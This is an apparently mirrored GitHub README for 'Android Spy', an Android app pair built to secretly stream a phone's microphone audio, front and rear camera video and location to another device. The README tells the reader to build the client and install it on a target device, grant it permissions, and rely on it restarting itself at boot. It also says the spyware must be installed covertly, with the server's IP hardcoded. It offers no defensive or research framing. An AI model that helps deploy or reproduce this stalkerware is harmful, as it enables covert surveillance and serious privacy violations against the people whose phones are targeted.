GithubHelp home page GithubHelp logo

sergeyivanovdevelop / android-spy Goto Github PK

View Code? Open in Web Editor NEW
11.0 1.0 1.0 43.29 MB

This repository contains the code of a project designed to secretly transfer information (audio stream from a microphone, video streams from the front and rear cameras, and geolocation) from a device that hosts the client part of this software to a device that runs the server part of this software.

License: Other

android android-studio java spy

android-spy's Introduction

Android Spy

Android Spy

Android Spy ยท GitHub license AndroidStudio Java LinkedIn Telegram

This repository contains the code of a project designed to secretly transfer information (audio stream from a microphone, video streams from the front and rear cameras, and geolocation) from a device that hosts the client part of this software to a device that runs the server part of this software.

๐Ÿ’ป Getting Started

๐Ÿ’ฟ Installation & using client-part software.

Step 1

  1. Go to home directory and clone repository from github: cd ~ && git clone https://[email protected]/SergeyIvanovDevelop/Android-Spy

Step 2

  1. Go to the directory of the downloaded repository: cd ~/Android-Spy

Step 3

  1. Open the android-spy-client module with Android Studio. Build and install on an android-device from which information will be secretly collected.

Step 4

  1. To start andorid-spy-client, you need to give the application the necessary permissions (through settings) and run it once.

    Further, the application will automatically start sending information to the Android-Spy server part. Even after restarting the device, re-enabling the application is not required, because. the service responsible for surveillance will be added to the startup of the device and will be turned on automatically after the restart.

Note: Because spyware must be secretly installed, then the IP-address (const IP_SERV) of the device with the server part of the software must be hard-rooted in the client source code.

๐Ÿ’ฟ Installation & using server-part software.

Step 1

  1. Go to the directory of the downloaded repository: cd ~/Android-Spy

Step 2

  1. Open the android-spy-server module with Android Studio. Build and install on an android-device which will receive information from the device-carrier of the client-part of the software.

Step 3

  1. To start andorid-spy-server, you need to give the application the necessary permissions (through settings) and run it.

This software is capable of receiving information from several devices. Available devices will be displayed as their IP address in the list.

Available features:

  • Receive audio stream
  • Reception of a video stream from the rear and front cameras (there is a choice)
  • The ability to rotate the image
  • Receiving geolocation data
  • The ability to view the location of the device on Google Maps

๐ŸŽฌ Example using (GIF):

This animation demonstrates scenarios for using the Android-Spy.

Note: This software has been tested on the carrier device of the client part of the software: Sony Experia XA2 Ultra. Android 9 (Pie) and device with backend software: Samsung Galaxy J7. Android 6 (Marshmallow).

animated

๐Ÿ“‘ Licence

Android Spy is CC BY-NC-SA 3.0 licensed.

android-spy's People

Contributors

sergeyivanovdevelop avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Forkers

vaginessa

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.